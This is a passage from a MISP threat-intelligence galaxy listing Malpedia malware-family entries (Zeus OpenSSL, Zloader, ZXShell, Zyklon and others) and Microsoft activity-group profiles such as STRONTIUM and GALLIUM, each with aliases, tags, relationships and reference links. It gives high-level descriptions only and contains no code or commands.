In June 2016, the version 1.5.4.0 (PE timestamp: 2016.05.11) appeared, downloaded by Zloader (known as DEloader at that time). OpenSSL 1.0.1p is statically linked to it, thus its size is roughly 1.2 MB. In subsequent months, that size increased up to 1.6 MB. In January 2017, with version 1.14.8.0, OpenSSL 1.0.2j was linked to it, increasing the size to 1.8 MB. Soon after also in January 2017, with version v1.15.0.0 the code was obfuscated, blowing up the size of the binary to 2.2 MB.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: *misp-galaxy:malpedia="Zeus OpenSSL"*

Zeus OpenSSL is also known as:

- XSphinx

Table 5694. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_openssl
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/

Zeus Sphinx

This family describes the vanilla Zeus-variant that includes TOR (and Polipo proxy). It has an almost

90% overlap with Zeus v2.0.8.9. Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

Zeus Sphinx on the one hand has the following versioning ("slow increase") - 2015/09 v1.0.1.0 (Zeus Sphinx size: 1.5 MB) - 2016/02 v1.0.1.2 (Zeus Sphinx size: 1.5 MB) - 2016/04 v1.0.2.0 (Zeus Sphinx size: 1.5 MB)

Zeus OpenSSL on the other hand has the following versioning ("fast increase") - 2016/05 v1.5.4.0 (Zeus OpenSSL size: 1.2 MB) - 2017/01 v1.14.8.0 (Zeus OpenSSL size: 1.8 MB) - 2017/01 v1.15.0.0 (Zeus OpenSSL size: 2.2 MB)

The tag is: *misp-galaxy:malpedia="Zeus Sphinx"*

Zeus Sphinx is also known as:

Table 5695. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_sphinx
https://securityaffairs.co/wordpress/39592/cyber-crime/sphinx-variant-zeus-trojan.html
https://web.archive.org/web/20160130165709/http://darkmatters.norsecorp.com/2015/08/24/sphinx-new-zeus-variant-for-sale-on-the-black-market/
https://securityintelligence.com/posts/zeus-sphinx-back-in-business-some-core-modifications-arise/

Zezin

The tag is: *misp-galaxy:malpedia="Zezin"*

Zezin is also known as:

Table 5696. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zezin
https://twitter.com/siri_urz/status/923479126656323584

zgRAT

zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets. Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.

The tag is: *misp-galaxy:malpedia="zgRAT"*

zgRAT is also known as:

Table 5697. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat
https://bazaar.abuse.ch/browse/signature/zgRAT/
https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US
https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware
https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities
https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/

ZhCat

The tag is: *misp-galaxy:malpedia="ZhCat"*

ZhCat is also known as:

Table 5698. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhcat
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

ZhMimikatz

The tag is: *misp-galaxy:malpedia="ZhMimikatz"*

ZhMimikatz is also known as:

Table 5699. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zhmimikatz
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

ZingoStealer

An information stealer written in .NET.

The tag is: *misp-galaxy:malpedia="ZingoStealer"*

ZingoStealer is also known as:

- Ginzo

Table 5700. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zingo_stealer
https://blog.talosintelligence.com/haskers-gang-zingostealer/
https://blogs.blackberry.com/en/2022/05/threat-thursday-zingostealer
https://www.gdatasoftware.com/blog/2022/03/ginzo-free-malware

ZitMo

The tag is: *misp-galaxy:malpedia="ZitMo"*

ZitMo is also known as:

- ZeuS-in-the-Mobile

Table 5701. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zitmo
https://securelist.com/zeus-in-the-mobile-facts-and-theories/36424/
https://mobisec.reyammer.io/slides

ZiyangRAT

The tag is: *misp-galaxy:malpedia="ZiyangRAT"*

ZiyangRAT is also known as:

Table 5702. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ziyangrat
https://www.secureworks.com/research/analysis-of-dhs-nccic-indicators

Zloader

This family describes the (initially small) loader, which downloads Zeus OpenSSL.

In June 2016, a new loader was dubbed DEloader by Fortinet. It has some functions borrowed from Zeus 2.0.8.9 (e.g. the versioning, nrv2b, binstorage-labels), but more importantly, it downloaded a Zeus-like banking trojan (→ Zeus OpenSSL). Furthermore, the loader shared its versioning with the Zeus OpenSSL it downloaded. The initial samples from May 2016 were small (17920 bytes). At some point, visualEncrypt/Decrypt was added, e.g. in v1.11.0.0 (September 2016) with size 27648 bytes. In

January 2017 with v1.15.0.0, obfuscation was added, which blew the size up to roughly 80k, and the loader became known as Zloader aka Terdot. These changes may be related to the Moskalvzapoe Distribution Network, which started the distribution of it at the same time.

Please note that IBM X-Force decided to call win.zloader/win.zeus_openssl "Zeus Sphinx", after mentioning it as "a new version of Zeus Sphinx" in their initial post in August 2016. Malpedia thus lists the alias "Zeus XSphinx" for win.zeus_openssl - the X to refer to IBM X-Force.

The tag is: *misp-galaxy:malpedia="Zloader"*

Zloader is also known as:

- DELoader
- SILENTNIGHT
- Terdot

Table 5703. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zloader
https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf
https://decoded.avast.io/threatresearch/avast-q2-2022-threat-report/
https://cybleinc.com/2021/04/19/zloader-returns-through-spelevo-exploit-kit-phishing-campaign/
https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/
https://blog.talosintelligence.com/2020/09/salfram-robbing-place-without-removing.html
https://blog.vincss.net/2022/04/re026-a-deep-dive-into-zloader-the-silent-night.html
https://www.crowdstrike.com/blog/falcon-overwatch-uncovers-ongoing-night-spider-zloader-campaign/
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/
https://blog.malwarebytes.com/cybercrime/2017/01/zbot-with-legitimate-applications-on-board/
https://medium.com/walmartglobaltech/signed-dll-campaigns-as-a-service-7760ac676489
https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://securityliterate.com/chantays-resume-investigating-a-cv-themed-zloader-malware-campaign/
https://decoded.avast.io/vladimirmartyanov/zloader-the-silent-night/
https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-strrat-zloader-honeygain
https://www.hornetsecurity.com/en/threat-research/zloader-email-campaign-using-mhtml-to-download-and-decrypt-xls/
https://www.zscaler.com/blogs/security-research/inside-zloader-s-latest-trick-dns-tunneling

https://labs.k7computing.com/index.php/zloader-strikes-back/

https://insight-jp.nttsecurity.com/post/102gsqj/pseudogatespelevo-exploit-kit

https://www.welivesecurity.com/2022/04/13/eset-takes-part-global-operation-disrupt-zloader-botnets/

https://news.sophos.com/en-us/2020/10/28/hacks-for-sale-inside-the-buer-loader-malware-as-a-service/

https://www.bleepingcomputer.com/news/security/banking-malware-spreading-via-covid-19-relief-payment-phishing/

https://research.checkpoint.com/2022/can-you-trust-a-files-digital-signature-new-zloader-campaign-exploits-microsofts-signature-verification-putting-users-at-risk/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/

https://blog.morphisec.com/obfuscated-vbscript-drops-zloader-ursnif-qakbot-dridex

https://www.forcepoint.com/blog/x-labs/invoicing-spam-campaigns-malware-zloader

https://www.lac.co.jp/lacwatch/people/20201106_002321.html

https://www.cisa.gov/uscert/ncas/alerts/aa22-110a

https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/

https://aaqeel01.wordpress.com/2021/10/18/zloader-reversing/

https://twitter.com/ffforward/status/1324281530026524672

https://blogs.quickheal.com/zloader-entailing-different-office-files/

https://securityintelligence.com/zeus-sphinx-pushes-empty-configuration-files-what-has-the-sphinx-got-cooking/

https://info.phishlabs.com/blog/surge-in-zloader-attacks-observed

https://www.zscaler.com/blogs/security-research/zloader-no-longer-silent-night

https://clickallthethings.wordpress.com/2020/06/19/zloader-vba-r1c1-references-and-other-tomfoolery/

https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf

https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/

https://www.zscaler.com/blogs/security-research/zloader-learns-old-tricks

https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-zip-based-campaign/

https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/

https://resources.malwarebytes.com/files/2020/05/The-Silent-Night-Zloader-Zbot_Final.pdf

https://twitter.com/VK_Intel/status/1294320579311435776

https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/

https://johannesbader.ch/blog/the-dga-of-zloader/

https://team-cymru.com/blog/2021/11/03/webinject-panel-administration-a-vantage-point-into-multiple-threat-actor-campaigns/

https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://www.fortinet.com/blog/threat-research/the-curious-case-of-an-unknown-trojan-targeting-german-speaking-users.html

https://blog.vincss.net/re026-a-deep-dive-into-zloader-the-silent-night/

https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/

https://blog.malwarebytes.com/threat-analysis/2020/11/malsmoke-operators-abandon-exploit-kits-in-favor-of-social-engineering-scheme/

https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf

https://mal-eats.net/2021/05/10/campo_new_attack_campaign_targeting_japan/

https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf

https://web.archive.org/web/20200929145931/https://www.comae.com/posts/2020-03-13_yet-another-active-email-campaign-with-malicious-excel-files-identified/

https://www.cybereason.com/blog/threat-analysis-report-socgholish-and-zloader-from-fake-updates-and-installers-to-owning-your-systems

https://blogs.microsoft.com/on-the-issues/2022/04/13/zloader-botnet-disrupted-malware-ukraine/

https://www.youtube.com/watch?v=QBoj6GB79wM

https://www.rapid7.com/blog/post/2024/12/04/black-basta-ransomware-campaign-drops-zbot-darkgate-and-custom-malware/

https://www.sentinelone.com/labs/hide-and-seek-new-zloader-infection-chain-comes-with-improved-stealth-and-evasion-mechanisms/

https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/

https://documents.trendmicro.com/assets/txt/IOCs-zloader-campaigns-at-a-glance.txt

https://int0xcc.svbtle.com/dissecting-obfuscated-deloader-malware

https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/

https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf

https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware

https://clickallthethings.wordpress.com/2020/09/21/zloader-xlm-update-macro-code-and-behavior-change/

https://medium.com/walmartglobaltech/unknown-powershell-backdoor-with-ties-to-new-zloader-88ca51d38850
https://0xc0decafe.com/2020/12/23/detect-rc4-in-malicious-binaries
https://noticeofpleadings.com/zloader/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://blag.nullteilerfrei.de/2020/06/11/api-hashing-in-the-zloader-malware/
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://www.proofpoint.com/us/blog/threat-insight/zloader-loads-again-new-zloader-variant-returns
https://securityintelligence.com/around-the-world-with-zeus-sphinx-from-canada-to-australia-and-back/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/zloader-campaigns-at-a-glance
https://malware.pizza/2020/06/19/further-evasion-in-the-forgotten-corners-of-ms-xls/
https://www.cisa.gov/uscert/sites/default/files/publications/AA22-110A_Joint_CSA_Russian_State-Sponsored_and_Criminal_Cyber_Threats_to_Critical_Infrastructure_4_20_22_Final.pdf
https://info.phishlabs.com/blog/zloader-dominates-email-payloads-in-q1
https://securityintelligence.com/posts/zeus-sphinx-trojan-awakens-amidst-coronavirus-spam-frenzy/
https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/
https://www.youtube.com/watch?v=mhX-UoaYnOM
https://www.prodaft.com/m/reports/RIG_TLP_CLEAR-1.pdf
https://labs.sentinelone.com/enter-the-maze-demystifying-an-affiliate-involved-in-maze-snow/
https://unit42.paloaltonetworks.com/api-hammering-malware-families/
https://www.microsoft.com/security/blog/2022/04/13/dismantling-zloader-how-malicious-ads-led-to-disabled-security-tools-and-ransomware/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://www.forcepoint.com/blog/security-labs/zeus-delivered-deloader-defraud-customers-canadian-banks
https://blog.alyac.co.kr/3322
https://labs.k7computing.com/?p=22458
https://blag.nullteilerfrei.de/2020/05/24/zloader-string-obfuscation/

Zlob

The tag is: *misp-galaxy:malpedia="Zlob"*

Zlob is also known as:

Table 5704. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob
https://en.wikipedia.org/wiki/Zlob_trojan
https://blag.nullteilerfrei.de/2020/08/23/programmatically-nop-the-current-selection-in-ghidra/

ZStealer

Information Stealer used by Void Balaur.

The tag is: *misp-galaxy:malpedia="ZStealer"*

ZStealer is also known as:

- Z*Stealer

Table 5705. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zstealer
https://documents.trendmicro.com/assets/white_papers/wp-void-balaur-tracking-a-cybermercenarys-activities.pdf
https://twitter.com/Arkbird_SOLG/status/1458973883068043264

Zumanek

According to ESET, this malware family was active exclusively in Brazil until the middle of 2020. It s identified by its method for obfuscating strings. It creates a function for each character of the alphabet and then concatenates the result of calling the correct functions in sequence.

The tag is: *misp-galaxy:malpedia="Zumanek"*

Zumanek is also known as:

Table 5706. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zumanek
https://www.welivesecurity.com/2021/12/15/dirty-dozen-latin-america-amavaldo-zumanek/
https://www.welivesecurity.com/br/2018/01/17/zumanek-malware-tenta-roubar-credenciais-de-servicos/

ZUpdater

The tag is: *misp-galaxy:malpedia="ZUpdater"*

ZUpdater is also known as:

- Zpevdo

Table 5707. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdater
https://app.any.run/tasks/ea024149-8e83-41c0-b0ed-32ec38dea4a6/

Zupdax

The tag is: *misp-galaxy:malpedia="Zupdax"*

Zupdax is also known as:

Table 5708. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zupdax
https://www.nortonlifelock.com/sites/default/files/2021-10/OPERATION%20EXORCIST%20White%20Paper.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

ZXShell

According to FireEye, ZXSHELL is a backdoor that can be downloaded from the internet, particularly Chinese hacker websites. The backdoor can launch port scans, run a keylogger, capture screenshots, set up an HTTP or SOCKS proxy, launch a reverse command shell, cause SYN floods, and transfer/delete/run files. The publicly available version of the tool provides a graphical user interface that malicious actors can use to interact with victim backdoors. Simplified Chinese is the language used for the bundled ZXSHELL documentation.

The tag is: *misp-galaxy:malpedia="ZXShell"*

ZXShell is also known as:

- Sensocode

Table 5709. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxshell

https://attack.mitre.org/groups/G0001/
https://meltx0r.github.io/tech/2019/09/19/emissary-panda-apt.html
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://www.secureworks.com/research/a-peek-into-bronze-unions-toolbox
https://attack.mitre.org/groups/G0096
https://risky.biz/whatiswinnti/
https://www.secureworks.com/research/threat-profiles/bronze-keystone
https://github.com/smb01/zxshell
https://unit42.paloaltonetworks.com/atoms/iron-taurus/
https://www.virusbulletin.com/uploads/pdf/conference_slides/2019/VB2019-GuPan.pdf
https://lab52.io/blog/apt27-rootkit-updates/
https://www.secureworks.com/research/threat-profiles/bronze-union
https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf
https://blogs.cisco.com/security/talos/opening-zxshell
https://mp.weixin.qq.com/s/K1uBLGqD8kgsIp1yTyYBfw
https://content.fireeye.com/apt-41/rpt-apt41
https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/

ZxxZ

Cisco Talos attributes this backdoor with moderate confidence to the Bitter APT.

The tag is: *misp-galaxy:malpedia="ZxxZ"*

ZxxZ is also known as:

- MuuyDownloader

Table 5710. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz
https://www.threatray.com/blog/the-bitter-end-unraveling-eight-years-of-espionage-antics-part-two
https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html

https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/

Zyklon

According to FireEye, Zyklon or Zyklon HTTP is a publicly available, full-featured backdoor capable of keylogging, password harvesting, downloading and executing additional plugins, conducting distributed denial-of-service (DDoS) attacks, and self-updating and self-removal. The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so. The malware can download several plugins, some of which include features such as cryptocurrency mining and password recovery, from browsers and email software. Zyklon also provides a very efficient mechanism to monitor the spread and impact.

The tag is: *misp-galaxy:malpedia="Zyklon"*

Zyklon is also known as:

Table 5711. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.zyklon
https://blog.talosintelligence.com/2017/05/modified-zyklon-and-plugins-from-india.html
https://www.fireeye.com/blog/threat-research/2018/01/microsoft-office-vulnerabilities-used-to-distribute-zyklon-malware.html

Microsoft Activity Group actor

Activity groups as described by Microsoft.

Microsoft Activity Group actor is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Various

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:microsoft-activity-group="PROMETHIUM"*

View relationships graph

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 5712. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:microsoft-activity-group="NEODYMIUM"*

View relationships graph

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 5713. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:microsoft-activity-group="TERBIUM"*

View relationships graph

TERBIUM has relationships with:

- similar: misp-galaxy:threat-actor="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 5714. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

STRONTIUM

STRONTIUM has been active since at least 2007. Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information. Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries. Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia. STRONTIUM is an activity group that usually targets government agencies, diplomatic institutions, and military organizations, as well as affiliated private sector organizations such as defense contractors and public policy research institutes. Microsoft has attributed more 0-day exploits to STRONTIUM than any other tracked group in 2016. STRONTIUM frequently uses compromised e-mail accounts from one victim to send malicious e-mails to a second victim and will persistently pursue specific targets for months until they are successful in compromising the victims' computer.

The tag is: *misp-galaxy:microsoft-activity-group="STRONTIUM"*

STRONTIUM is also known as:

- APT 28
- APT28
- Pawn Storm
- Fancy Bear
- Sednit
- TsarTeam
- TG-4127
- Group-4127
- Sofacy
- Grey-Cloud

View relationships graph

STRONTIUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="APT28 - G0007" with estimative-language:likelihood-

probability="likely"

- similar: misp-galaxy:threat-actor="APT28" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="□□□ - APT-C-20" with estimative-language:likelihood-probability="likely"

Table 5715. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/11/01/our-commitment-to-our-customers-security/
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_A_Profile_Of_A_Persistent_Adversary_English.pdf
https://blogs.technet.microsoft.com/mmpc/2015/11/16/microsoft-security-intelligence-report-strontium/
https://blogs.microsoft.com/on-the-issues/2018/08/20/we-are-taking-new-steps-against-broadening-threats-to-democracy/
https://www.bleepingcomputer.com/news/security/microsoft-disrupts-apt28-hacking-campaign-aimed-at-us-midterm-elections/

DUBNIUM

DUBNIUM (which shares indicators with what Kaspersky researchers have called DarkHotel) is one of the activity groups that has been very active in recent years, and has many distinctive features.

The tag is: *misp-galaxy:microsoft-activity-group="DUBNIUM"*

DUBNIUM is also known as:

- darkhotel

View relationships graph

DUBNIUM has relationships with:

- similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"

Table 5716. Table References

Links
https://securelist.com/blog/research/71713/darkhotels-attacks-in-2015/
https://blogs.technet.microsoft.com/mmpc/2016/06/09/reverse-engineering-dubnium-2

https://blogs.technet.microsoft.com/mmpc/2016/06/20/reverse-engineering-dubniums-flash-targeting-exploit/
https://blogs.technet.microsoft.com/mmpc/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:microsoft-activity-group="PLATINUM"*

View relationships graph

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 5717. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

BARIUM

Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware, supporting infrastructure, online personas, victimology, and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity. Microsoft labels activity groups using code names derived from elements in the periodic table. In the case of this malware, the activity groups strongly associated with Winnti are BARIUM and LEAD. But even though they share the use of Winnti, the BARIUM and LEAD activity groups are involved in very different intrusion scenarios. BARIUM begins its attacks by cultivating relationships with potential

victims—particularly those working in Business Development or Human Resources—on various social media platforms. Once BARIUM has established rapport, they spear-phish the victim using a variety of unsophisticated malware installation vectors, including malicious shortcut (.lnk) files with hidden payloads, compiled HTML help (.chm) files, or Microsoft Office documents containing macros or exploits. Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles, collaborative document editing sites, and blogs for C&C. Later stages of the intrusions rely upon Winnti for persistent access. The majority of victims recorded to date have been in electronic gaming, multimedia, and Internet content industries, although occasional intrusions against technology companies have occurred.

The tag is: *misp-galaxy:microsoft-activity-group="BARIUM"*

View relationships graph

BARIUM has relationships with:

- similar: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-probability="likely"

Table 5718. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

LEAD

In contrast, LEAD has established a far greater reputation for industrial espionage. In the past few years, LEAD's victims have included: Multinational, multi-industry companies involved in the manufacture of textiles, chemicals, and electronics Pharmaceutical companies A company in the chemical industry University faculty specializing in aeronautical engineering and research A company involved in the design and manufacture of motor vehicles A cybersecurity company focusing on protecting industrial control systems During these intrusions, LEAD's objective was to steal sensitive data, including research materials, process documents, and project plans. LEAD also steals code-signing certificates to sign its malware in subsequent attacks. In most cases, LEAD's attacks do not feature any advanced exploit techniques. The group also does not make special effort to cultivate victims prior to an attack. Instead, the group often simply emails a Winnti installer to potential victims, relying on basic social engineering tactics to convince recipients to run the attached malware. In some other cases, LEAD gains access to a target by brute-forcing remote access login credentials, performing SQL injection, or exploiting unpatched web servers, and then they copy the Winnti installer directly to compromised machines.

The tag is: *misp-galaxy:microsoft-activity-group="LEAD"*

View relationships graph

LEAD has relationships with:

- similar: misp-galaxy:threat-actor="APT41" with estimative-language:likelihood-

probability="likely"

Table 5719. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/

ZIRCONIUM

In addition to strengthening generic detection of EoP exploits, Microsoft security researchers are actively gathering threat intelligence and indicators attributable to ZIRCONIUM, the activity group using the CVE-2017-0005 exploit.

The tag is: *misp-galaxy:microsoft-activity-group="ZIRCONIUM"*

View relationships graph

ZIRCONIUM has relationships with:

- similar: misp-galaxy:threat-actor="APT31" with estimative-language:likelihood-probability="likely"

Table 5720. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2017/03/27/detecting-and-mitigating-elevation-of-privilege-exploit-for-cve-2017-0005/

GALLIUM

Microsoft Threat Intelligence Center (MSTIC) is raising awareness of the ongoing activity by a group we call GALLIUM, targeting telecommunication providers. When Microsoft customers have been targeted by this activity, we notified them directly with the relevant information they need to protect themselves. By sharing the detailed methodology and indicators related to GALLIUM activity, we're encouraging the security community to implement active defenses to secure the broader ecosystem from these attacks. To compromise targeted networks, GALLIUM target unpatched internet-facing services using publicly available exploits and have been known to target vulnerabilities in WildFly/JBoss. Once persistence is established in a network, GALLIUM uses common techniques and tools like Mimikatz to obtain credentials that allows for lateral movement across the target network. Within compromised networks, GALLIUM makes no attempt to obfuscate their intent and are known to use common versions of malware and publicly available toolkits with small modifications. The operators rely on low cost and easy to replace infrastructure that consists of dynamic-DNS domains and regularly reused hop points. This activity from GALLIUM has been identified predominantly through 2018 to mid-2019. 